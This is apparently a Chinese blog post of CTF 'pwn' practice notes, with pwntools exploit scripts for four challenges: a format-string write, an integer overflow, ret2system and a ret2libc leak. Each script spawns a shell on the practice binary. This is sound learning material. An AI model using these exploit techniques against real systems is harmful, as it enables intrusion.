PWN刷题小记

二进制手不打pwn,线下赛就等着被爆菊!!! ——————沙乐天
看来要认真学习pwn了啊
先上一道简单的pwn
学习资料
感谢这位大佬

cgfsb

3
放进ida里看下
是格式化字符串漏洞
1
发现没有pie
下一步就是确定偏移
2
是第十位
然后就可以写脚本啦~

1
2
3
4
5
6
from pwn import *
a = process('./cgfsb')
a.sendline('1')
pay = p32(0x804a068) + 'aaaa%10$n'
a.sendline(pay)
a.interactive()

int_overflow

题目
4
可以看到一开始有个选项
点进login看下
5
有俩个read函数
可惜都不能溢出
再看看check
6
check里面有个长度判断,然后strcpy
我们知道strcpy是不计算长度的,所以说这边可以溢出
但是有个长度判断
所以只能整数溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

#a = remote("111.198.29.45",31852)
a = process('int_overflow')
a.recvuntil("Your choice:")
a.sendline('1')
a.recvuntil("Please input your username:")
a.sendline('1')
a.recvuntil("Please input your passwd:")
pay = 0x14*'a' + 'aaaa' + p32(0x804868B)
pay += (260-len(pay))*'a'
a.sendline(pay)
a.interactive()

cgpwn2

题目
7
可以看到很明显的溢出
name在bss段,所以可以输入/bin/sh

1
2
3
4
5
6
7
8
9
10
from pwn import *

#a = remote("111.198.29.45",31852)
a = process('cgpwn2')
a.recvuntil("please tell me your name")
a.sendline('/bin/sh')
a.recvuntil("hello,you can leave some message here:")
pay = 0x26*'a' + 'aaaa' + p32(0x804855A) + p32(0x804A080)
a.sendline(pay)
a.interactive()

level3

题目
8
题目中有个明显的溢出,但是没有sys来给返回
所以只能ret2libc了
但是libc中的地址都是偏移地址
我们要找到基地址
用write地址减去libc中write就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#a = remote("111.198.29.45",31852)
a = process('level3')
elf = ELF('level3')
b = ELF("/lib/i386-linux-gnu/libc.so.6")
a.recvuntil("Input:\n")
pay1 = 'a'*0x88 + 'aaaa' + p32(elf.symbols['write']) + p32(0x804844B) + p32(1) + p32(elf.got['write']) + p32(4)
a.sendline(pay1)
addr = u32(a.recv(4))
addr -= b.symbols['write']
sys = addr + b.symbols['system']
sh = addr + b.search('/bin/sh').next()
pay2 = 'a'*0x88 + 'aaaa' + p32(sys) + p32(sh)*2
a.sendline(pay2)
a.interactive()

Escape_From_Jail

python逃逸
9

文章目录
  1. 1. cgfsb
  2. 2. int_overflow
  3. 3. cgpwn2
  4. 4. level3
  5. 5. Escape_From_Jail
|